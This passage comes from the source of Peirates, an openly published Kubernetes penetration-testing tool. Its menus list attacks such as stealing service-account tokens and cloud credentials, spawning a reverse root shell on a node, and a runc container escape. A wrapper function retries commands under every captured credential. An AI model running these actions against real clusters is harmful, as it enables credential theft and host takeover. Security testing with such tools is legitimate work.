372 | if err != nil { 373 | println("[-] ERROR: couldn't decode") 374 | pauseToHitEnter(interactive) 375 | return 376 | } else { 377 | fmt.Printf("[+] Saved %s // %s\n", secretName, token) 378 | AddNewServiceAccount(secretName, string(token), "Cluster Secret", serviceAccounts) 379 | } 380 | } 381 | -------------------------------------------------------------------------------- /menu.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "os/exec" 7 | 8 | "github.com/ergochat/readline" 9 | ) 10 | 11 | func printMenu(fullMenu bool) { 12 | if fullMenu { 13 | printMenuClassic() 14 | } else { 15 | printMenuMinimal() 16 | } 17 | 18 | } 19 | 20 | func printMenuMinimal() { 21 | println(`--------------------------------------------------------------------- 22 | Menu | 23 | -----+ 24 | [sa-menu] List, maintain, or switch service account contexts (try: listsa *, switchsa, get-sa) 25 | [ns-menu] List and/or change namespaces (try: listns, switchns) 26 | [cert-menu] Switch certificate-based authentication (kubelet or manually-entered) 27 | 28 | [ kubectl ________________________ ] Run a kubectl command using the current authorization context 29 | [ kubectl-try-all-until-success __ ] Run a kubectl command using EVERY authorization context until one works 30 | [ kubectl-try-all ________________ ] Run a kubectl command using EVERY authorization context 31 | 32 | [ set-auth-can-i ] Deactivate "auth can-i" checking before attempting actions 33 | [ curl ] Make an HTTP request (GET or POST) to a user-specified URL 34 | [ tcpscan ] Run a simple all-ports TCP port scan against an IP address 35 | [ cd , pwd , ls , cat ] Manipulate the filesystem via Golang-native commands 36 | [ shell ] Run a shell command 37 | 38 | [ full ] Switch to full (classic menu) with a longer list of commands 39 | [ outputfile ] Write all kubectl output to a file **ALPHA** [outputfile [filename]] 40 | [ exit ] Exit Peirates 41 | ---------------------------------------------------------------------`) 42 | fmt.Printf("\nPeirates:># ") 43 | } 44 | 45 | func printMenuClassic() { 46 | println(`--------------------------------------------------------------------- 47 | Namespaces, Service Accounts and Roles | 48 | ---------------------------------------+ 49 | [1] List, maintain, or switch service account contexts [sa-menu] (try: list-sa *, switch-sa, get-sa) 50 | [2] List and/or change namespaces [ns-menu] (try: list-ns, switch-ns, get-ns) 51 | [3] Get list of pods in current namespace [list-pods, get-pods] 52 | [4] Get complete info on all pods (json) [dump-pod-info] 53 | [5] Check all pods for volume mounts [find-volume-mounts] 54 | [6] Enter AWS IAM credentials manually [aws-enter-credentials] 55 | [7] Attempt to Assume a Different AWS Role [aws-assume-role] 56 | [8] Deactivate assumed AWS role [aws-empty-assumed-role] 57 | [9] Switch certificate-based authentication (kubelet or manually-entered) [cert-menu] 58 | -------------------------+ 59 | Steal Service Accounts | 60 | -------------------------+ 61 | [10] List secrets in this namespace from API server [list-secrets, get-secrets] 62 | [11] Get a service account token from a secret [secret-to-sa] 63 | [12] Request IAM credentials from AWS Metadata API [aws-get-token] * 64 | [13] Request IAM credentials from GCP Metadata API [gcp-get-token] * 65 | [14] Request kube-env from GCP Metadata API [gcp-attack-kube-env] 66 | [15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloud only) [gcp-attack-kops-gcs-1] * 67 | [16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1] 68 | --------------------------------+ 69 | Interrogate/Abuse Cloud API's | 70 | --------------------------------+ 71 | [17] List AWS S3 Buckets accessible [aws-s3-ls] 72 | [18] List contents of an AWS S3 Bucket [aws-s3-ls-objects] 73 | -----------+ 74 | Compromise | 75 | -----------+ 76 | [20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount] 77 | [21] Run command in one or all pods in this namespace via the API Server [exec-via-api] 78 | [22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet] 79 | [23] Use CVE-2024-21626 (Leaky Vessels) to get a shell on the host (runc versions <1.12) [leakyvessels] * 80 | -------------+ 81 | Node Attacks | 82 | -------------+ 83 | [30] Steal secrets from the node filesystem [nodefs-steal-secrets] 84 | -----------------+ 85 | Off-Menu + 86 | -----------------+ 87 | [90] Run a kubectl command using the current authorization context [kubectl [arguments]] 88 | [] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all-until-success [arguments]] 89 | [] Run a kubectl command using EVERY authorization context [kubectl-try-all [arguments]] 90 | [91] Make an HTTP request (GET or POST) to a user-specified URL [curl] 91 | [92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i] 92 | [93] Run a simple all-ports TCP port scan against an IP address [tcpscan] 93 | [94] Enumerate services via DNS [enumerate-dns] * 94 | [] Manipulate the filesystem [ cd , pwd , ls , cat ] 95 | [] Run a shell command [shell ] 96 | [] Run a Bash or Bourne shell [bash or sh] 97 | 98 | [short] Reduce the set of visible commands in this menu 99 | [ outputfile ] Write all kubectl output to a file **ALPHA** [outputfile [filename]] 100 | 101 | [exit] Exit Peirates 102 | ---------------------------------------------------------------------`) 103 | fmt.Printf("\nPeirates:># ") 104 | } 105 | 106 | func printBanner(interactive bool, version string) { 107 | println(`________________________________________ 108 | | ___ ____ _ ____ ____ ___ ____ ____ | 109 | | |__] |___ | |__/ |__| | |___ [__ | 110 | | | |___ | | \ | | | |___ ___] | 111 | |______________________________________|`) 112 | 113 | if interactive { 114 | println(` 115 | ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, 116 | ,,,,,,,,,,,,,.............:,,,,,,,,,,,,, 117 | ,,,,,,,,,,...,IIIIIIIIIII+...,,,,,,,,,,, 118 | ,,,,,,,:..~IIIIIIIIIIIIIIIIII...,,,,,,,, 119 | ,,,,,,..?IIIIIII.......IIIIIIII..,,,,,,, 120 | ,,,,,..IIIIIIII...II?...?IIIIIII,..,,,,, 121 | ,,,:..IIIIIIII..:IIIIII..?IIIIIIII..,,,, 122 | ,,,..IIIIIIIII..IIIIIII...IIIIIIII7.:,,, 123 | ,,..IIIIIIIII.............IIIIIIIII..,,, 124 | ,,.=IIIIIIII...~~~~~~~~~...IIIIIIIII..,, 125 | ,..IIIIIIII...+++++++++++,..+IIIIIII..,, 126 | ,..IIIIIII...+++++++++++++:..~IIIIII..,, 127 | ,..IIIIII...++++++:++++++++=..,IIIII..,, 128 | ,..IIIII...+....,++.++++:+.++...IIII..,, 129 | ,,.+IIII...+..,+++++....+,.+...IIIII..,, 130 | ,,..IIIII...+++++++++++++++...IIIII..:,, 131 | ,,,..IIIII...+++++++++++++...IIIII7..,,, 132 | ,,,,.,IIIII...+++++++++++...?IIIII..,,,, 133 | ,,,,:..IIIII...............IIIII?..,,,,, 134 | ,,,,,,..IIIII.............IIIII..,,,,,,, 135 | ,,,,,,,,..7IIIIIIIIIIIIIIIII?...,,,,,,,, 136 | ,,,,,,,,,:...?IIIIIIIIIIII....,,,,,,,,,, 137 | ,,,,,,,,,,,,:.............,,,,,,,,,,,,,, 138 | ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,`) 139 | } 140 | credit := fmt.Sprintf(`________________________________________ 141 | Peirates v%s by InGuardians and Peirates Open Source Developers 142 | https://www.inguardians.com/peirates 143 | ---------------------------------------------------------------------`, version) 144 | println(credit) 145 | } 146 | 147 | func clearScreen(interactive bool) { 148 | var err error 149 | 150 | pauseToHitEnter(interactive) 151 | c := exec.Command("clear") 152 | c.Stdout = os.Stdout 153 | err = c.Run() 154 | if err != nil { 155 | println("[-] Error running command: ", err) 156 | } 157 | 158 | } 159 | 160 | func banner(connectionString ServerInfo, detectCloud string, eth0IP string, awsCredentials AWSCredentials, assumedAWSRole AWSCredentials) { 161 | 162 | name, err := os.Hostname() 163 | if err != nil { 164 | panic(err) 165 | } 166 | 167 | if connectionString.Token != "" { 168 | 169 | fmt.Println("[+] Service Account Loaded :", connectionString.TokenName) 170 | } 171 | if connectionString.ClientCertData != "" { 172 | fmt.Println("[+] Client Certificate/Key Pair Loaded:", connectionString.ClientCertName) 173 | } 174 | 175 | if len(connectionString.Namespace) > 0 { 176 | fmt.Println("[+] Current hostname/pod name :", name) 177 | fmt.Println("[+] Current namespace :", connectionString.Namespace) 178 | } 179 | 180 | // Print out the eth0 interface's IP address if it exists 181 | if len(eth0IP) > 0 { 182 | fmt.Println("[+] IP address for eth0 :", eth0IP) 183 | } 184 | // If cloud has been detected, print it here. 185 | if len(detectCloud) > 0 { 186 | fmt.Println("[+] Cloud provider metadata API :", detectCloud) 187 | } 188 | 189 | // If we have an AWS role, print it here. 190 | if len(assumedAWSRole.AccessKeyId) > 0 { 191 | fmt.Println("[+] AWS IAM Credentials (assumed) :" + assumedAWSRole.AccessKeyId + " (" + assumedAWSRole.accountName + ")\n") 192 | } 193 | if len(awsCredentials.AccessKeyId) > 0 { 194 | if len(awsCredentials.accountName) > 0 { 195 | fmt.Println("[+] AWS IAM Credentials (available) : " + awsCredentials.AccessKeyId + " (" + awsCredentials.accountName + ")\n") 196 | } else { 197 | fmt.Println("[+] AWS IAM Credentials (available) : " + awsCredentials.AccessKeyId + "\n") 198 | } 199 | } 200 | } 201 | 202 | func setUpCompletionMainMenu() *readline.PrefixCompleter { 203 | completer := readline.NewPrefixCompleter( 204 | 205 | // [1] List, maintain, or switch service account contexts [sa-menu] (try: listsa, switchsa) 206 | readline.PcItem("sa-menu"), 207 | readline.PcItem("switch-sa"), 208 | readline.PcItem("sa-switch"), 209 | readline.PcItem("list-sa"), 210 | readline.PcItem("sa-list"), 211 | readline.PcItem("get-sa"), 212 | readline.PcItem("list-sa"), 213 | readline.PcItem("decode-jwt"), 214 | // [2] List and/or change namespaces [ns-menu] (try: listns, switchns) 215 | readline.PcItem("ns-menu"), 216 | readline.PcItem("list-ns"), 217 | readline.PcItem("switch-ns"), 218 | // [3] Get list of pods 219 | readline.PcItem("get-pods"), 220 | readline.PcItem("list-pods"), 221 | // [4] Get complete info on all pods (json) [dump-pod-info] 222 | readline.PcItem("dump-pod-info"), 223 | // [5] Check all pods for volume mounts [find-volume-mounts] 224 | readline.PcItem("find-volume-mounts"), 225 | // [6] Enter AWS IAM credentials manually [aws-enter-credentials] 226 | readline.PcItem("enter-aws-credentials"), 227 | readline.PcItem("aws-enter-credentials"), 228 | // [7] Attempt to Assume a Different AWS Role [aws-assume-role] 229 | readline.PcItem("aws-assume-role"), 230 | // [8] Deactivate assumed AWS role [aws-empty-assumed-role] 231 | readline.PcItem("aws-empty-assumed-rol"), 232 | // [9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu] 233 | readline.PcItem("cert-menu"), 234 | // [10] List secrets in this namespace from API server [list-secrets, get-secrets] 235 | readline.PcItem("list-secrets"), 236 | readline.PcItem("get-secrets"), 237 | // [11] Get a service account token from a secret [secret-to-sa] 238 | readline.PcItem("secret-to-sa"), 239 | // [12] Request IAM credentials from AWS Metadata API [get-aws-token] * 240 | readline.PcItem("get-aws-token"), 241 | readline.PcItem("aws-get-token"), 242 | // [13] Request IAM credentials from GCP Metadata API [gcp-get-token] * 243 | readline.PcItem("get-gcp-token"), 244 | readline.PcItem("gcp-get-token"), 245 | // [14] Request kube-env from GCP Metadata API [gcp-attack-kube-env] 246 | readline.PcItem("attack-kube-env-gcp"), 247 | readline.PcItem("gcp-attack-kube-env"), 248 | // [15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloud only) [gcp-attack-kops-1] * 249 | readline.PcItem("attack-kops-gcs-1"), 250 | readline.PcItem("gcp-attack-kops-1"), 251 | // [16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [aws-attack-kops-1] 252 | readline.PcItem("attack-kops-aws-1"), 253 | readline.PcItem("aws-attack-kops-1"), 254 | // [17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls] 255 | readline.PcItem("aws-s3-ls"), 256 | // [18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects] 257 | readline.PcItem("aws-s3-ls-objects"), 258 | // [20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount] 259 | readline.PcItem("attack-pod-hostpath-mount"), 260 | // [21] Run command in one or all pods in this namespace via the API Server [exec-via-api] 261 | readline.PcItem("exec-via-api"), 262 | // [22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet] 263 | readline.PcItem("exec-via-kubelet"), 264 | // [23] Use CVE-2024-21626 (Leaky Vessels) to get a shell on the host (runc versions <1.12) [leakyvessels] * 265 | readline.PcItem("leakyvessels"), 266 | // [30] Steal secrets from the node filesystem [nodefs-steal-secrets] 267 | readline.PcItem("nodefs-steal-secrets"), 268 | // [90] Run a kubectl command using the current authorization context [kubectl [arguments]] 269 | readline.PcItem("kubectl"), 270 | // [] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all-until-success [arguments]] 271 | readline.PcItem("kubectl-try-all-until-success"), 272 | // [] Run a kubectl command using EVERY authorization context [kubectl-try-all [arguments]] 273 | readline.PcItem("kubectl-try-all"), 274 | // [91] Make an HTTP request (GET or POST) to a user-specified URL [curl] 275 | readline.PcItem("curl"), 276 | // [92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i] 277 | readline.PcItem("set-auth-can-i"), 278 | // [93] Run a simple all-ports TCP port scan against an IP address [tcpscan] 279 | readline.PcItem("tcpscan"), 280 | // [94] Enumerate services via DNS [enumerate-dns] * 281 | readline.PcItem("enumerate-dns"), 282 | // [ cd __ , pwd , ls ___ , cat ___ ] Manipulate the filesystem via Golang-native commands 283 | readline.PcItem("cd"), 284 | readline.PcItem("pwd"), 285 | readline.PcItem("ls"), 286 | readline.PcItem("cat"), 287 | // [] Run a shell command [shell ] 288 | readline.PcItem("shell"), 289 | // [short] Reduce the set of visible commands in this menu 290 | readline.PcItem("short"), 291 | // [full] Switch to full (classic menu) with a longer list of commands 292 | readline.PcItem("full"), 293 | // [outputfile] Write all kubectl output to a file [outputfile [filename]] 294 | readline.PcItem("outputfile"), 295 | 296 | // [exit] Exit Peirates 297 | readline.PcItem("exit"), 298 | ) 299 | return completer 300 | } 301 | -------------------------------------------------------------------------------- /kubectl_wrappers.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | // kubectl_wrappers.go contains a bunch of helper functions for executing 4 | // kubectl's codebase as if it were a separate executable. However, kubectl 5 | // IS NOT BEING EXECUTED AS A SEPARATE EXECUTABLE! See the comments on 6 | // kubectlAuthCanI for an example of how this can cause unexpected behavior. 7 | 8 | import ( 9 | "bytes" 10 | "context" 11 | "errors" 12 | "fmt" 13 | "io" 14 | "log" 15 | "os" 16 | "os/exec" 17 | "strings" 18 | "time" 19 | 20 | kubectl "k8s.io/kubectl/pkg/cmd" 21 | ) 22 | 23 | // runKubectl executes the kubectl library internally, allowing us to use the 24 | // Kubernetes API and requiring no external binaries. 25 | // 26 | // runKubectl takes and io.Reader and two io.Writers, as well as a command to run in cmdArgs. 27 | // The kubectl library will read from the io.Reader, representing stdin, and write its stdout and stderr via the corresponding io.Writers. 28 | // 29 | // runKubectl returns an error string, which indicates internal kubectl errors. 30 | // 31 | // NOTE: You should generally use runKubectlSimple(), which calls runKubectlWithConfig, which calls this. 32 | func runKubectl(stdin io.Reader, stdout, stderr io.Writer, cmdArgs ...string) error { 33 | var err error 34 | 35 | // TODO: Can we run this with the KUBECONFIG set to empty? 36 | 37 | cmd := exec.Cmd{ 38 | Path: "/proc/self/exe", 39 | Args: append([]string{"kubectl"}, cmdArgs...), 40 | Stdin: stdin, 41 | Stdout: stdout, 42 | Stderr: stdout, 43 | } 44 | err = cmd.Start() 45 | if err != nil { 46 | println("[-] Error with command: ", err) 47 | } 48 | 49 | // runKubectl has a timeout to deal with kubectl commands running forever. 50 | // However, `kubectl exec` commands may take an arbitrary 51 | // amount of time, so we disable the timeout when `exec` is found in the args. 52 | 53 | // We also do the same for `kubectl delete` commands, as they can wait quite a long time. 54 | longRunning := false 55 | for _, arg := range cmdArgs { 56 | if arg == "exec" || arg == "delete" { 57 | longRunning = true 58 | break 59 | } 60 | } 61 | if !longRunning { 62 | // Set up a function to handle the case where we've been running for over 10 seconds 63 | // 10 seconds is an entirely arbitrary timeframe, adjust it if needed. 64 | ctx, cancel := context.WithCancel(context.Background()) 65 | defer cancel() 66 | go func() { 67 | // Since this always keeps cmdArgs alive in memory for at least 10 seconds, there is the 68 | // potential for this to lead to excess memory usage if kubectl is run an astronimcal number 69 | // of times within the timeout window. I don't expect this to be an issue, but if it is, I 70 | // recommend a looping iterations with a 1 second sleep between each iteration, 71 | // allowing the routine to exit earlier when possible. 72 | time.Sleep(10 * time.Second) 73 | select { 74 | case <-ctx.Done(): 75 | return 76 | default: 77 | log.Printf( 78 | "\nKubectl took too long! This usually happens because the remote IP is wrong.\n"+ 79 | "Check that you've passed the right IP address with -i. If that doesn't help,\n"+ 80 | "and you're running in a test environment, try restarting the entire cluster.\n"+ 81 | "\n"+ 82 | "To help you debug, here are the arguments that were passed to peirates:\n"+ 83 | "\t%s\n"+ 84 | "\n"+ 85 | "And here are the arguments that were passed to the failing kubectl command:\n"+ 86 | "\t%s\n", 87 | os.Args, 88 | append([]string{"kubectl"}, cmdArgs...)) 89 | err = cmd.Process.Kill() 90 | return 91 | } 92 | }() 93 | } 94 | 95 | return cmd.Wait() 96 | } 97 | 98 | // runKubectlWithConfig takes a server config and a list of arguments. 99 | // It executes kubectl internally, setting authn secrets, certificate authority, and server based 100 | // on the provided config, then appends the supplied arguments to the end of the command. 101 | // 102 | // NOTE: You should generally use runKubectlSimple() to call this. 103 | func runKubectlWithConfig(cfg ServerInfo, stdin io.Reader, stdout, stderr io.Writer, cmdArgs ...string) error { 104 | 105 | // Confirm that we have an API Server URL 106 | if len(cfg.APIServer) == 0 { 107 | return errors.New("api server not set") 108 | } 109 | 110 | connArgs := []string{ 111 | "--server=" + cfg.APIServer, 112 | } 113 | 114 | // Confirm that we have a certificate authority path entry. 115 | if !cfg.ignoreTLS { 116 | if len(cfg.CAPath) == 0 { 117 | println("ERROR: certificate authority path not defined - will not communicate with api server") 118 | return errors.New("certificate authority path not defined - will not communicate with api server") 119 | } else { 120 | connArgs = append(connArgs, "--certificate-authority="+cfg.CAPath) 121 | } 122 | } 123 | 124 | // If we've been told to ignore TLS cert checking via -k, make sure to set --insecure-skip-tls-verify=true 125 | if cfg.ignoreTLS { 126 | connArgs = append(connArgs, "--insecure-skip-tls-verify=true") 127 | } 128 | 129 | // If cmdArgs contains "--all-namespaces" or ["-n","namespace"], make sure not to add a -n namespace to this. 130 | appendNamespace := true 131 | for _, arg := range cmdArgs { 132 | if (arg == "--all-namespaces") || (arg == "-n") { 133 | appendNamespace = false 134 | } 135 | } 136 | if appendNamespace { 137 | connArgs = append(connArgs, "-n", cfg.Namespace) 138 | } 139 | 140 | // If we are using token-based authentication, append that. 141 | if len(cfg.Token) > 0 { 142 | // Append the token to connArgs 143 | connArgs = append(connArgs, "--token="+cfg.Token) 144 | if Verbose { 145 | fmt.Println("DEBUG: using token-based authentication") 146 | } 147 | } 148 | // If we are using cert-based authentication, use that: 149 | if len(cfg.ClientCertData) > 0 { 150 | // TODO: How do we avoid writing temp files on every single kubectl command? 151 | // Even better, can we use whatever library kubectl uses to parse kubeconfig files or just pass the file we found this cert in? 152 | // One challenge - we might not always have access to the same filesystem where we found the cert? 153 | 154 | if Verbose { 155 | fmt.Println("DEBUG: using cert-based authentication") 156 | } 157 | 158 | // Create a temp file for the client cert 159 | certTmpFile, err := os.CreateTemp("/tmp", "peirates-") 160 | if err != nil { 161 | println("ERROR: Could not create a temp file for the client cert requested") 162 | return errors.New("could not create a temp file for the client cert requested") 163 | } 164 | 165 | if Verbose { 166 | println("DEBUG: using cert-based auth with cert located at ", certTmpFile.Name()) 167 | } 168 | 169 | _, err = io.WriteString(certTmpFile, cfg.ClientCertData) 170 | if err != nil { 171 | println("DEBUG: Could not write to temp file for the client cert requested") 172 | return errors.New("could not write to temp file for the client cert requested") 173 | } 174 | err = certTmpFile.Sync() 175 | if err != nil { 176 | println("[-] Error with cert temp file: ", err) 177 | } 178 | 179 | // Create a temp file for the client key 180 | keyTmpFile, err := os.CreateTemp("/tmp", "peirates-") 181 | if err != nil { 182 | println("DEBUG: Could not create a temp file for the client key requested") 183 | return errors.New("could not create a temp file for the client key requested") 184 | } 185 | 186 | _, err = io.WriteString(keyTmpFile, cfg.ClientKeyData) 187 | if err != nil { 188 | println("DEBUG: Could not write to temp file for the client key requested") 189 | return errors.New("could not write to temp file for the client key requested") 190 | } 191 | err = keyTmpFile.Sync() 192 | if err != nil { 193 | println("[-] Error with key temp file: ", err) 194 | } 195 | 196 | connArgs = append(connArgs, "--client-certificate="+certTmpFile.Name()) 197 | connArgs = append(connArgs, "--client-key="+keyTmpFile.Name()) 198 | } 199 | 200 | if Verbose { 201 | println("DEBUG: Running kubectl with the following arguments: ") 202 | for _, arg := range connArgs { 203 | println("DEBUG: " + arg) 204 | } 205 | } 206 | return runKubectl(stdin, stdout, stderr, append(connArgs, cmdArgs...)...) 207 | } 208 | 209 | // runKubectlSimple executes runKubectlWithConfig, but supplies nothing for stdin, and aggregates 210 | // the stdout and stderr streams into byte slices. It returns (stdout, stderr, execution error). 211 | // 212 | // NOTE: This function is what you want to use most of the time, rather than runKubectl() and runKubectlWithConfig(). 213 | func runKubectlSimple(cfg ServerInfo, cmdArgs ...string) ([]byte, []byte, error) { 214 | 215 | stdin := strings.NewReader("") 216 | stdout := bytes.Buffer{} 217 | stderr := bytes.Buffer{} 218 | 219 | err := runKubectlWithConfig(cfg, stdin, &stdout, &stderr, cmdArgs...) 220 | 221 | return stdout.Bytes(), stderr.Bytes(), err 222 | } 223 | 224 | // Try this kubectl command as every single service account, with option to stop when we find one that works. 225 | func attemptEveryAccount(stopOnFirstSuccess bool, connectionStringPointer *ServerInfo, serviceAccounts *[]ServiceAccount, clientCertificates *[]ClientCertificateKeyPair, logToFile bool, outputFileName string, cmdArgs ...string) ([]byte, []byte, error) { 226 | 227 | // Try all service accounts first. 228 | // Store the current service account or client certificate auth method. 229 | // func assignServiceAccountToConnection(account ServiceAccount, info *ServerInfo) { 230 | 231 | backupAuthContext := *connectionStringPointer 232 | 233 | var successes int 234 | 235 | if stopOnFirstSuccess { 236 | println("Trying the command as every service account until we find one that works.") 237 | } else { 238 | println("Trying the command as every service account.") 239 | } 240 | 241 | for _, sa := range *serviceAccounts { 242 | println("Trying " + sa.Name) 243 | assignServiceAccountToConnection(sa, connectionStringPointer) 244 | kubectlOutput, stderr, err := runKubectlSimple(*connectionStringPointer, cmdArgs...) 245 | 246 | // If the command is successful... 247 | if err == nil { 248 | 249 | // ...tally another success... 250 | successes += 1 251 | // ...display the output... 252 | outputToUser(string(kubectlOutput), logToFile, outputFileName) 253 | 254 | println(string(stderr)) 255 | 256 | // ...and stop if we were told to stop on first success. 257 | if stopOnFirstSuccess { 258 | *connectionStringPointer = backupAuthContext 259 | return kubectlOutput, stderr, err 260 | } 261 | } 262 | 263 | } 264 | 265 | // Now try all client certificates. 266 | // clientCertificates 267 | 268 | if stopOnFirstSuccess { 269 | println("Trying the command as every client cert until we find one that works.") 270 | } else { 271 | println("Trying the command as every client cert.") 272 | } 273 | for _, cert := range *clientCertificates { 274 | println("Trying " + cert.Name) 275 | assignAuthenticationCertificateAndKeyToConnection(cert, connectionStringPointer) 276 | kubectlOutput, stderr, err := runKubectlSimple(*connectionStringPointer, cmdArgs...) 277 | 278 | // If the command is successful... 279 | if err == nil { 280 | 281 | // ...tally another success... 282 | successes += 1 283 | 284 | // ...display the output... 285 | outputToUser(string(kubectlOutput), logToFile, outputFileName) 286 | println(string(stderr)) 287 | 288 | // ...and stop if we were told to stop on first success. 289 | if stopOnFirstSuccess { 290 | *connectionStringPointer = backupAuthContext 291 | return kubectlOutput, stderr, err 292 | } 293 | // This logic is repeated -- can we combine these two for loops? 294 | } 295 | 296 | } 297 | 298 | // Restore the auth context 299 | *connectionStringPointer = backupAuthContext 300 | 301 | // Choose a return 302 | if successes == 0 { 303 | return nil, nil, errors.New("no principals worked") 304 | } else { 305 | fmt.Printf("%d principals were successful in running the command.\n", successes) 306 | return nil, nil, nil 307 | } 308 | } 309 | 310 | // runKubectlWithByteSliceForStdin is runKubectlSimple but you can pass in some bytes for stdin. Conven 311 | // This function is unused and thus commented out for now. 312 | 313 | // func runKubectlWithByteSliceForStdin(cfg ServerInfo, stdinBytes []byte, cmdArgs ...string) ([]byte, []byte, error) { 314 | // stdin := bytes.NewReader(append(stdinBytes, '\n')) 315 | // stdout := bytes.Buffer{} 316 | // stderr := bytes.Buffer{} 317 | 318 | // err := runKubectlWithConfig(cfg, stdin, &stdout, &stderr, cmdArgs...) 319 | 320 | // return stdout.Bytes(), stderr.Bytes(), err 321 | // } 322 | 323 | // kubectlAuthCanI now has a history... We can't use the built in 324 | // `kubectl auth can-i `, because when the response to the auth check 325 | // is "no", kubectl exits with exit code 1. This has the unfortunate side 326 | // effect of exiting peirates too, since we aren't running kubectl as a 327 | // subprocess. 328 | // 329 | // The takeaway here is that we have to do it another way. See https://kubernetes.io/docs/reference/access-authn-authz/authorization/#checking-api-access 330 | // for more details. 331 | func kubectlAuthCanI(cfg ServerInfo, verb, resource string) bool { 332 | 333 | type SelfSubjectAccessReviewResourceAttributes struct { 334 | Group string `json:"group,omitempty"` 335 | Resource string `json:"resource"` 336 | Verb string `json:"verb"` 337 | Namespace string `json:"namespace,omitempty"` 338 | } 339 | 340 | type SelfSubjectAccessReviewSpec struct { 341 | ResourceAttributes SelfSubjectAccessReviewResourceAttributes `json:"resourceAttributes"` 342 | } 343 | 344 | type SelfSubjectAccessReviewQuery struct { 345 | APIVersion string `json:"apiVersion"` 346 | Kind string `json:"kind"` 347 | Spec SelfSubjectAccessReviewSpec `json:"spec"` 348 | } 349 | 350 | type SelfSubjectAccessReviewResponse struct { 351 | Status struct { 352 | Allowed bool `json:"allowed"` 353 | } `json:"status"` 354 | } 355 | 356 | if !UseAuthCanI { 357 | return true 358 | } 359 | // This doesn't work for certificate authentication yet. 360 | if len(cfg.ClientCertData) > 0 { 361 | return true 362 | } 363 | 364 | query := SelfSubjectAccessReviewQuery{ 365 | APIVersion: "authorization.k8s.io/v1", 366 | Kind: "SelfSubjectAccessReview", 367 | Spec: SelfSubjectAccessReviewSpec{ 368 | ResourceAttributes: SelfSubjectAccessReviewResourceAttributes{ 369 | Group: "", 370 | Resource: resource, 371 | Verb: verb, 372 | Namespace: cfg.Namespace, 373 | }, 374 | }, 375 | } 376 | 377 | var response SelfSubjectAccessReviewResponse 378 | 379 | err := DoKubernetesAPIRequest(cfg, "POST", "apis/authorization.k8s.io/v1/selfsubjectaccessreviews", query, &response) 380 | if err != nil { 381 | fmt.Printf("[-] kubectlAuthCanI failed to perform SelfSubjectAccessReview api requests with error %s: assuming you don't have permissions.\n", err.Error()) 382 | return false 383 | } 384 | 385 | return response.Status.Allowed 386 | } 387 | 388 | // ExecKubectlAndExit runs the internally compiled `kubectl` code as if this was the `kubectl` binary. stdin/stdout/stderr are process streams. args are process args. 389 | func ExecKubectlAndExit() { 390 | // Based on code from https://github.com/kubernetes/kubernetes/blob/2e0e1681a6ca7fe795f3bd5ec8696fb14687b9aa/cmd/kubectl/kubectl.go#L44 391 | cmd := kubectl.NewDefaultKubectlCommand() 392 | if err := cmd.Execute(); err != nil { 393 | fmt.Fprintf(os.Stderr, "%v\n", err) 394 | os.Exit(1) 395 | } 396 | os.Exit(0) 397 | } 398 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be 